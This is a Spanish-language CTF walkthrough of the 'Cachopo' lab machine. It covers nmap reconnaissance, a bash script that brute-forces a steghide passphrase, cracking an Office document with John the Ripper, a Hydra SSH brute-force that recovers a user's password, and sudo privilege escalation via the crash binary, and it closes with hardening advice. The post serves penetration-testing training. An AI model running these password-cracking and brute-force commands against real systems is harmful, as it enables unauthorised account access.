Post

TheHackerLabs - Avanzado : [Cachopo]

Introducciónn

Bienvenidos al desafío “Cachopo”, un CTF diseñado para usuarios avanzados que se lleva a cabo en un sistema operativo basado en Linux. Este reto, creado por @condor & @CuriosidadesDeHackers, ofrece una excelente oportunidad para que los usuarios con experiencia se enfrenten a tareas complejas y afiancen sus habilidades en un entorno CTF. En este desafío, se requerirá un dominio sólido de las operaciones de Linux, así como conocimientos avanzados en técnicas de hacking y seguridad informática.

🌐 Web oficial del CTF: TheHackersLabs - Cachopo

Identificación de la Víctima con Arp-Scan

Iniciamos el reto utilizando arp-scan para identificar la dirección IP de la víctima dentro de nuestra red local. Este es un paso crucial para asegurar que los siguientes ataques sean dirigidos correctamente.

Para más detalles sobre cómo realizar este paso, he escrito un post detallado que puedes encontrar aquí:

🌐 Consiguiendo la IP de la Víctima en CTFs

Ejecución de Arp-Scan

Desde nuestra terminal, lanzamos el siguiente comando:

1
2
3
4
5
6
7
8
┌─[root@parrot]─[/home/oscar]
└──╼  #arp-scan -I ens36 --localnet
Interface: ens36, type: EN10MB, MAC: 00:0c:29:27:66:15, IPv4: 172.18.0.133
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
172.18.0.1	00:50:56:c0:00:08	VMware, Inc.
172.18.0.2	00:50:56:f0:e7:9f	VMware, Inc.
172.18.0.134	00:0c:29:f3:5c:ae	VMware, Inc.
172.18.0.254	00:50:56:f8:f4:23	VMware, Inc.

Primer Escaneo con Nmap

Una vez identificada la dirección IP ( 172.18.0.134 ) de la víctima, procedemos con un escaneo exhaustivo de todos los puertos utilizando nmap.

Explicación de los Parámetros Utilizados

  • -p-: Este parámetro indica que se deben escanear todos los puertos (del 1 al 65535).
  • -vvv: Aumenta el nivel de verbosidad, proporcionando más detalles sobre el proceso del escaneo.
  • -n: No resuelve nombres DNS, lo que acelera el escaneo al evitar consultas DNS.
  • -sS: Realiza un escaneo SYN (semiabierto), que es más rápido y sigiloso que un escaneo completo.
  • -Pn: Omite el descubrimiento de hosts (no ping), asumiendo que el host está activo.
  • –min-rate 2000: Establece la tasa mínima de paquetes enviados por segundo a 2000.
  • 172.18.0.134: Especifica la dirección IP del objetivo.
  • -oN allports: Guarda los resultados en un archivo en formato normal (legible para humanos).

Razón para Usar --min-rate 2000 en Lugar de 5000

El parámetro --min-rate controla la velocidad a la que nmap envía los paquetes durante el escaneo. Establecer una tasa de 2000 paquetes por segundo es un equilibrio entre velocidad y fiabilidad. Usar una tasa más alta, como 5000 paquetes por segundo, podría llevar a:

  • Pérdida de Paquetes: Las redes y dispositivos podrían descartar paquetes debido a la alta carga, resultando en resultados menos fiables.
  • Detección y Bloqueo: Los sistemas de detección de intrusiones (IDS) y cortafuegos podrían identificar y bloquear el escaneo debido a la alta tasa de tráfico, dificultando el escaneo exitoso.
  • Saturación de la Red: En redes más lentas o congestionadas, una tasa alta podría saturar la red, afectando otros servicios y dispositivos.

Por estas razones, utilizamos una tasa de 2000 paquetes por segundo, lo cual proporciona un buen balance entre velocidad y precisión, reduciendo el riesgo de que los paquetes sean descartados o detectados como actividad maliciosa.

1
2
3
4
5
6
7
8
9
nmap -p- --min-rate 2000 -sS -vvv -Pn -oN allports 172.18.0.134
Nmap scan report for 172.18.0.134
Host is up, received arp-response (0.00062s latency).
Scanned at 2024-08-11 12:09:28 CEST for 15s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 00:0C:29:F3:5C:AE (VMware)

Escaneo Detallado de Puertos Específicos

Tras identificar los puertos abiertos en el primer escaneo, realizamos un escaneo más detallado en los puertos que parecían más interesantes.

Explicación de los Parámetros Utilizados

  • -sCV: Realiza un escaneo de detección de versiones y scripts (equivalente a -sC para ejecutar scripts de detección y -sV para detectar versiones de servicios).
  • -p22,80: Especifica los puertos a escanear, en este caso, el 22 (SSH) y el 80 (HTTP).
  • 172.18.0.134: Especifica la dirección IP del objetivo.
  • -oN ports: Guarda los resultados en un archivo en formato normal (legible para humanos).

Este escaneo nos permitirá obtener más información sobre los servicios que están corriendo en estos puertos, incluyendo sus versiones y posibles vulnerabilidades asociadas. Realizamos el escaneo detallado utilizando el siguiente comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nmap -sSCV -p 22,80 -oN ports 172.18.0.134
Nmap scan report for 172.18.0.134
Host is up (0.00059s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 b4:ae:d2:8b:a8:30:a5:fb:58:a9:b2:38:73:33:1d:e0 (ECDSA)
|_  256 76:21:61:f1:f5:67:8a:95:dc:c1:73:56:16:2e:a4:a5 (ED25519)
80/tcp open  http    Apache httpd 2.4.61
|_http-title: Did not follow redirect to http://cachopo.thl/
|_http-server-header: Apache/2.4.61 (Debian)
MAC Address: 00:0C:29:F3:5C:AE (VMware)
Service Info: Host: cachopo.thl; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Análisis del Escaneo de Nmap

En el escaneo de Nmap, nos encontramos con el siguiente resultado:

http-title: Did not follow redirect to http://cachopo.thl/

Esto significa que Nmap detectó que la página web está configurada para redirigir a una URL diferente, en este caso http://cachopo.thl/. Sin embargo, Nmap no siguió esta redirección, por lo que el análisis solo muestra el título de la página original y no el contenido de la página a la que redirige.

Para resolver esto, tendremos que añadir el nombre de dominio cachopo.thl y su IP en el archivo /etc/hosts de nuestro sistema. Esto le indicará a nuestra máquina que el nombre de dominio cachopo.thl corresponde a una IP específica, permitiendo así que las redirecciones y otras solicitudes relacionadas funcionen correctamente en nuestras pruebas o análisis.

Pasos para añadir una entrada en /etc/hosts

  • Añadimos una linea al final del archivo /etc/hosts con privilegios de superusuario, con la IP y la URL:
1
2
┌─[root@parrot]─[/home/oscar]
└──╼ echo "172.18.0.134 cachopo.thl" | tee -a /etc/hosts
  • Revisamos la ultima linea del fichero hosts, y si, la ha añadido.
1
2
3
┌─[root@parrot]─[/home/oscar]
└──╼ #tail -n 1 /etc/hosts
172.18.0.134 cachopo.thl

Esto debería ayudarnos a asegurar que las redirecciones y otros aspectos relacionados con cachopo.thl se manejen correctamente en nuestro entorno.

Análisis del Servidor Web y Uso de Steghide

Tras analizar el servidor web, no encontramos subdominios, directorios o ficheros que parezcan vulnerables. El código fuente del sitio solo muestra una imagen de fondo. Vamos a analizar la imagen con la herramienta Steghide para comprobar si hay datos ocultos en ella.

web source

Comando para Extraer Datos con Steghide

Ejecutamos el siguiente comando para intentar extraer datos ocultos de la imagen:

1
steghide --extract -sf /home/oscar/Descargas/cachopo.jpg

Al ejecutar el comando, obtenemos el siguiente resultado:

1
2
Anotar salvoconducto:
steghide: No pude extraer ningún dato con ese salvoconducto!

Descubrimiento de Contraseña con Rockyou

Necesitamos encontrar una contraseña para extraer datos de la imagen. Utilizaremos la lista de contraseñas rockyou.txt en un bucle para intentar cada contraseña hasta encontrar la correcta.

A continuación, preparamos el script y las rutas necesarias.

Rutas y Script

Las rutas actuales y el script son los siguientes:

1
2
3
4
5
6
7
┌─[root@parrot]─[/home/oscar/Scripts]
└──╼ #l
cachopo.sh
┌─[root@parrot]─[/home/oscar/Scripts]
└──╼ #l /home/oscar/Descargas/
cachopo.jpg
└──╼ #

Script cachopo.sh

Aquí está el script para realizar el ataque de fuerza bruta utilizando la lista de contraseñas rockyou.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
rockyou="/usr/share/wordlists/rockyou.txt"
jpgfile="/home/oscar/Descargas/cachopo.jpg"
output=""
while IFS= read -r password; do
    output=$(steghide --extract -sf "$jpgfile" -p "$password" 2>&1)
    if [[ $output == *"salvoconducto"* ]]; then
        echo -ne "Probando la contraseña: $password\r"
    else
        echo -e "\n------------------------------------"
        echo -e "\nContraseña encontrada: $password"
        break
    fi
done < "$rockyou"

Ejecución del Script

Damos permisos de ejecución al script y lo ejecutamos:

1
2
3
4
5
6
7
8
┌─[✗]─[root@parrot]─[/home/oscar/Scripts]
└──╼ #chmod +x cachopo.sh
┌─[root@parrot]─[/home/oscar/Scripts]
└──╼ #./cachopo.sh
Probando la contraseña: elisazrch
----------------------------------

*Contraseña encontrada: doggies*

El script ha encontrado la contraseña correcta: doggies. Ahora podemos usar esta contraseña para extraer los datos de la imagen si es necesario.

Extracción de Datos y Análisis de Ficheros

Tras ejecutar el comando Steghide para extraer los datos ocultos de la imagen, encontramos un fichero llamado directorio.txt con el siguiente contenido:

1
2
3
4
5
6
7
8
┌─[✗]─[root@parrot]─[/home/oscar/Scripts]
└──╼ #steghide --extract -sf /home/oscar/Descargas/cachopo.jpg
Anotar salvoconducto: 
anotó los datos extraídos e/"directorio.txt".
└──╼ #l
cachopot.sh*  directorio.txt
└──╼ #cat directorio.txt 
el directorio es mycachopo

Acceso al Directorio

Al acceder a la URL cachopo.thl/mycachopo, observamos que contiene un fichero llamado Cocineros. Lo descargamos y, al no tener una extensión, revisamos la información del fichero con el siguiente comando:

1
2
3
┌─[✗]─[root@parrot]─[/home/oscar/Descargas]
└──╼ #file Cocineros 
Cocineros: CDFV2 Encrypt

mycachopo

Explicación del Comando file

El comando file se utiliza en sistemas Unix para determinar el tipo de un fichero. Analiza el contenido del fichero y proporciona una descripción del tipo de datos que contiene. En este caso, el comando file nos informa que el fichero Cocineros es de tipo CDFV2 Encrypt.

¿Qué es CDFV2 Encrypt?

CDFV2 (Compound Document File Format Version 2) es un formato de archivo utilizado por Microsoft para documentos complejos que pueden contener múltiples tipos de datos y metadatos. CDFV2 Encrypt indica que el fichero está en formato CDF versión 2 y está cifrado. Esto significa que los datos en el fichero están protegidos mediante cifrado, y se necesita una clave o herramienta especial para descifrarlos y acceder a su contenido.

Para proceder, necesitaremos encontrar una forma de descifrar el fichero CDFV2 si es que contiene información valiosa. Esto podría implicar el uso de herramientas específicas de descifrado o la búsqueda de una clave de descifrado adecuada.

Desciframiento del Documento Cifrado

Para descifrar el fichero Cocineros, utilizamos una herramienta llamada office2john y john the ripper.

Herramienta office2john

office2john es una herramienta incluida en el paquete de John the Ripper que se utiliza para extraer hashes de contraseñas de documentos de Microsoft Office cifrados. La herramienta convierte el documento cifrado en un formato que John the Ripper puede usar para realizar ataques de fuerza bruta.

Comando para Extraer Hash

Ejecutamos office2john para extraer el hash de la contraseña del fichero Cocineros y lo guardamos en un archivo llamado hash:

1
2
┌─[root@parrot]─[/home/oscar/Descargas]
└──╼ #office2john Cocineros > hash

Desciframiento con john the ripper

Una vez que tenemos el hash, utilizamos john the ripper para realizar un ataque de fuerza bruta con la lista de contraseñas rockyou.txt:

1
2
3
4
5
6
7
8
9
10
11
12
┌─[root@parrot]─[/home/oscar/Descargas]
└──╼ #john --wordlist=/usr/share/wordlists/rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2007 for all loaded hashes
Cost 2 (iteration count) is 50000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
horse1           (Cocineros)     
1g 0:00:00:07 DONE (2024-08-11 18:58) 0.1422g/s 669.1p/s 669.1c/s 669.1C/s bobcat..alemania
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

John ha descifrado la contraseña del documento, que es horse1.

Apertura del Documento

Con la contraseña obtenida, abrimos el documento Cocineros utilizando LibreOffice para revisar su contenido:

1
2
┌─[root@parrot]─[/home/oscar/Descargas]
└──╼ #libreoffice Cocineros

passw cocineros

Reflexiones y Progreso en el CTF

Hacemos una pausa y explicamos:

En sistemas Unix, no existe una norma estricta que obligue a que los nombres de usuario comiencen con minúsculas, pero es conveniente seguir esta convención por razones de consistencia y facilidad de administración. Aunque no siempre es necesario, ayuda a evitar posibles confusiones.

Después de pasar casi toda la noche y la mañana trabajando en el escaneo de usuarios, decidimos utilizar Hydra con la lista de usuarios comunes para realizar un ataque de fuerza bruta (Primera letra en minuscula)

Intento Inicial con Hydra

Creamos un archivo llamado usuarios con los nombres de usuario que queríamos probar:

1
2
3
4
5
┌─[oscar@parrot]─[~/Descargas]
└──╼ $cat usuarios
sofia
carlos
luis

Observamos que Hydra estaba tardando mucho en procesar. Para investigar, decidí ejecutar Hydra en modo debug usando la opción -d. A continuación, se muestra un extracto del debug donde se puede ver que Hydra está probando todas las contraseñas para el primer usuario sofia:

1
2
3
4
5
[DEBUG] we will redo the following combination: target 172.18.0.134  child 0  login "sofia"  pass "password1"
[DEBUG] we will redo the following combination: target 172.18.0.134  child 1  login "sofia"  pass "soccer"
[DEBUG] we will redo the following combination: target 172.18.0.134  child 2  login "sofia"  pass "butterfly"
[DEBUG] we will redo the following combination: target 172.18.0.134  child 3  login "sofia"  pass "anthony"
...

Hydra intentará todas las contraseñas indicadas en el parámetro -p o -P para el usuario especificado. Dado que estamos usando la lista rockyou, Hydra no pasará al siguiente usuario hasta que haya terminado de probar todas las contraseñas para el usuario actual.

Alternativas y Solución

Consideré lanzar una instancia separada de Hydra para cada usuario: sofia, carlos y luis. Esto resultó en encontrar el login exitosamente:

1
2
3
4
5
6
7
8
9
10
11
12
┌─[✗]─[root@parrot]─[/home/oscar/Descargas]
└──╼ #hydra -l carlos -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.134   
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-11 20:11:50
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.18.0.134:22/
[STATUS] 114.00 tries/min, 114 tries in 00:01h, 14344287 to do in 2097:08h, 14 active
[STATUS] 98.67 tries/min, 296 tries in 00:03h, 14344105 to do in 2422:60h, 14 active
[22][ssh] host: 172.18.0.134   login: carlos   password: bowwow

Descubrimos que Hydra también tiene la opción -u, que permite recorrer los usuarios en lugar de las contraseñas. Esto puede ser más eficiente en escenarios donde se espera que la misma contraseña pueda ser válida para varios usuarios.

Uso de la Opción -u

La opción -u en Hydra significa “loop around users, not passwords” (recorrer usuarios en lugar de contraseñas). Esta opción cambia el orden en el que Hydra prueba las combinaciones:

  • Sin -u: Hydra prueba todas las contraseñas para un usuario antes de pasar al siguiente usuario.
  • Con -u: Hydra prueba todas las contraseñas para cada usuario antes de pasar a la siguiente contraseña.

Ejemplo: Sin -u:

1
2
3
4
5
6
7
8
9
10
11
        usuario1 -> contraseña1
        usuario1 -> contraseña2
        usuario1 -> contraseña3
        usuario1 -> contraseña4
        ...
        usuario2 -> contraseña1
        usuario2 -> contraseña2
        usuario2 -> contraseña3
        usuario2 -> contraseña4
        ...

Con -u:

1
2
3
4
5
6
7
8
9
10
        usuario1 -> contraseña1
        usuario2 -> contraseña1
        usuario3 -> contraseña1
        usuario4 -> contraseña1
        ...
        usuario1 -> contraseña2
        usuario2 -> contraseña2
        usuario3 -> contraseña2
        usuario4 -> contraseña2
        ...

Esto es útil cuando se sospecha que una contraseña común puede ser utilizada por varios usuarios.

Ejemplo Práctico

Ejecutamos Hydra con la opción -u y en modo verbose -v -V para obtener una salida más detallada:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌─[✗]─[root@parrot]─[/home/oscar/Descargas/script]
└──╼ #hydra -v -V -u -L usuarios.txt -P /usr/share/wordlists/rockyou.txt 172.18.0.134 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-11 22:50:16
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 43033197 login tries (l:3/p:14344399), ~2689575 tries per task
[DATA] attacking ssh://172.18.0.134:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://sofia@172.18.0.134:22
[INFO] Successful, password authentication is supported by ssh://172.18.0.134:22
[ATTEMPT] target 172.18.0.134 - login "sofia" - pass "123456" - 1 of 43033197 [child 0] (0/0)
[ATTEMPT] target 172.18.0.134 - login "carlos" - pass "123456" - 2 of 43033197 [child 1] (0/0)
...
[ATTEMPT] target 172.18.0.134 - login "luis" - pass "rockyou" - 22 of 43033198 [child 15] (0/1)
[ATTEMPT] target 172.18.0.134 - login "sofia" - pass "12345678" - 23 of 43033198 [child 5] (0/1)
...

La ejecución en modo verbose mostró que Hydra estaba probando cada combinación de usuario y contraseña como se esperaba. Finalmente, ejecutamos Hydra sin verbose para mejorar la eficiencia.

1
2
3
4
5
6
7
8
9
10
11
┌─[root@parrot]─[/home/oscar/Descargas/script]
└──╼ #hydra -u -L usuarios.txt -P /usr/share/wordlists/rockyou.txt 172.18.0.134 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-11 22:50:36
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 43033197 login tries (l:3/p:14344399), ~2689575 tries per task
[DATA] attacking ssh://172.18.0.134:22/
[STATUS] 299.00 tries/min, 299 tries in 00:01h, 43032899 to do in 2398:43h, 15 active
[22][ssh] host: 172.18.0.134   login: carlos   password: bowwow

Finalmente, obtuvimos la contraseña utilizando un archivo con varios usuarios y otro con contraseñas. Este proceso subraya la importancia de revisar la documentación y las ayudas oficiales de la herramienta que estamos utilizando.

Fin de la pausa, seguimos

Conexión SSH y Escalación de Privilegios

Nos conectamos al servidor usando SSH con el usuario carlos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└──╼ #ssh carlos@172.18.0.134
The authenticity of host '172.18.0.134 (172.18.0.134)' can't be established.
ED25519 key fingerprint is SHA256:TwxUt/2Cw+RBXmkw35lCwjyjcXY9BpomAJBscsWYUC4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.18.0.134' (ED25519) to the list of known hosts.
carlos@172.18.0.134's password: 
Linux Cachopo 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 11 21:29:23 2024 from 172.18.0.133
carlos@Cachopo:~$ 

Estamos dentro del sistema como el usuario carlos. A continuación, comenzamos a investigar los privilegios disponibles con el comando sudo -l:

1
2
3
4
5
6
7
carlos@Cachopo:~$ sudo -l
Matching Defaults entries for carlos on Cachopo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User carlos may run the following commands on Cachopo:
    (ALL) NOPASSWD: /usr/bin/crash
carlos@Cachopo:~$ 

El resultado indica que el usuario carlos puede ejecutar el comando /usr/bin/crash con privilegios de superusuario (sudo) sin necesidad de proporcionar una contraseña.

Escalación de Privilegios con el Binario crash

El binario crash está disponible para ejecución sin contraseña, lo que significa que podemos usarlo para intentar escalar nuestros privilegios. El binario crash es una herramienta de depuración para el núcleo de Linux, y en algunos casos, puede ser utilizado para obtener acceso root dependiendo de su configuración y el entorno del sistema.

En 🌐 gtfobins tenemos la explicación de como explotar la vulnerabilidad.

vuln root

Medidas de Seguridad para Prevenir Vulnerabilidades

1. Revisar y Corregir Configuraciones de Servicios

  • Configurar Servicios de Forma Segura: Revisa la configuración de servicios activos. Por ejemplo, en un servidor web, configura adecuadamente los archivos .htaccess para restringir el acceso.

2. Aplicar Actualizaciones y Parches

  • Actualizar el Sistema Regularmente: Mantén el sistema operativo y todas las aplicaciones actualizadas.
    1
    2
    
    sudo apt-get update
    sudo apt-get upgrade
    
  • Aplicar Parches de Seguridad: Instala parches y actualizaciones de seguridad proporcionados por los proveedores de software.

3. Implementar Control de Acceso Adecuado

  • Configurar Permisos de Archivos: Asegúrate de que los archivos y directorios tengan los permisos mínimos necesarios.
    1
    
    chmod 600 archivo.txt
    
  • Revisar Configuración de Usuario y Grupos: Verifica que los usuarios y grupos tengan los permisos adecuados y revisa las políticas de acceso.

4. Monitorización y Auditoría

  • Habilitar Registros de Actividad: Configura el sistema para registrar eventos importantes y monitorear accesos.
    1
    2
    
    sudo apt-get install auditd
    sudo systemctl start auditd
    
  • Revisar Registros Regularmente: Revisa los registros de actividad para detectar posibles intentos de acceso no autorizado o comportamientos sospechosos.

5. Utilizar Medidas de Seguridad Adicionales

  • Implementar Cortafuegos: Configura un firewall para controlar el tráfico entrante y saliente.
    1
    2
    
    sudo ufw enable
    sudo ufw allow ssh
    
  • Aplicar Seguridad a Nivel de Aplicación: Asegúrate de que las aplicaciones web estén protegidas contra ataques comunes como SQL Injection y XSS.

Gracias por leer hasta aquí. Un saludo, Óscar

This post is licensed under CC BY 4.0 by the author.